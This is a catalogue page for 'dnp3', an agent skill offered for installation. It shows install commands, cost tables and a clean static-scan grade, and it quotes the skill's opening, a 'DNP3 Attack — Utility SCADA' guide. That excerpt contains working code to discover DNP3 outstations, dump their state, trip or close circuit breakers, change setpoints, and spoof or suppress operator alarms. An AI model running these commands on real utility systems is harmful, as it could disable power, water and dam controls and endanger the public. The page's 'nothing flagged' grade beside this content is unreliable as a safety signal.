Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill dnp3git clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/dnp3)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/dnp3"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/dnp3/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/dnp3"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/dnp3.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00066 | $0.01258 |
| Opus 5 | $0.00033 | $0.00629 |
| Sonnet 5 | $0.00013 | $0.00252 |
| Haiku 4.5 | $0.00007 | $0.00126 |
Grade A, and why
dnp3 scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
97% identical to ics-dnp3 — 2 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 119 lines — stays where its author put it; the contents beside it link to each section on GitHub.
DNP3 Attack — Utility SCADA
DNP3 is the dominant protocol in North American electric utilities (substations, RTUs) and water/wastewater. TCP/20000.
Discover
# nmap
nmap -p 20000 --script=dnp3-info 10.0.0.0/24
# Or pyOPENDNP3 / pydnp3 / dnp3-toolkit
# Quick test:
python3 -c '
import socket, struct
# DNP3 link layer Start (0x05 0x64), Length, Control, Dest, Src
pkt = b"\x05\x64\x05\xc0\x00\x00\x01\x00\xa5\xa1"
s = socket.socket(); s.connect(("10.0.0.50", 20000)); s.send(pkt)
print(s.recv(256).hex())
'
Read attacks (passive — generally safe)
# pydnp3 (or opendnp3 Python binding) — read class 0, 1, 2, 3 data
import opendnp3
# ... master init + asyncrun ...
# Class 0 = static (current value of every point)
# Class 1/2/3 = events (changes)
master.ScanClasses([0, 1, 2, 3])
# Output: a dump of every binary/analog/counter/control point's state.
Control attacks (potentially HIGH IMPACT)
Control Relay Output Block (CROB) — trip / close a breaker
# Group 12 Var 1 CROB — operation field controls action
# trip = 0x81, close = 0x41, pulse on = 0x01
import opendnp3
crob = opendnp3.ControlRelayOutputBlock(opendnp3.ControlCode.LATCH_ON)
res = master.SelectAndOperate(crob, 5) # select+operate on index 5
# Index 5 might be "circuit breaker 5 trip" — opens the breaker.
This is the single most dangerous DNP3 primitive: a successful Select+Operate on the right index can trip transmission breakers, open dam gates, shut off pumps.
Analog Output Block (AOB) — setpoint
aob = opendnp3.AnalogOutputInt16(value=100)
master.SelectAndOperate(aob, 3)
# index 3 might be voltage setpoint, water level, etc.
Unsolicited reporting abuse
DNP3 supports outstation-initiated reports. An attacker positioned between master and outstation can:
- Inject fake unsolicited reports (false alarms) — operator response cascade
- Suppress real reports — operator blind during a real fault
- Reply with stale data via timestamp tampering (Group 50 Var 1)
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 6d ago First seen · 119 lines · 66 tokens per session scan A ba86ba8289c8
dnp3 is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 66 tokens to every session and 1,258 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. It is 97% identical to ics-dnp3, differing in 2 lines, and is treated as a copy.
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../../../cloud-infra/ot-iot-device-security/SKILL.md.
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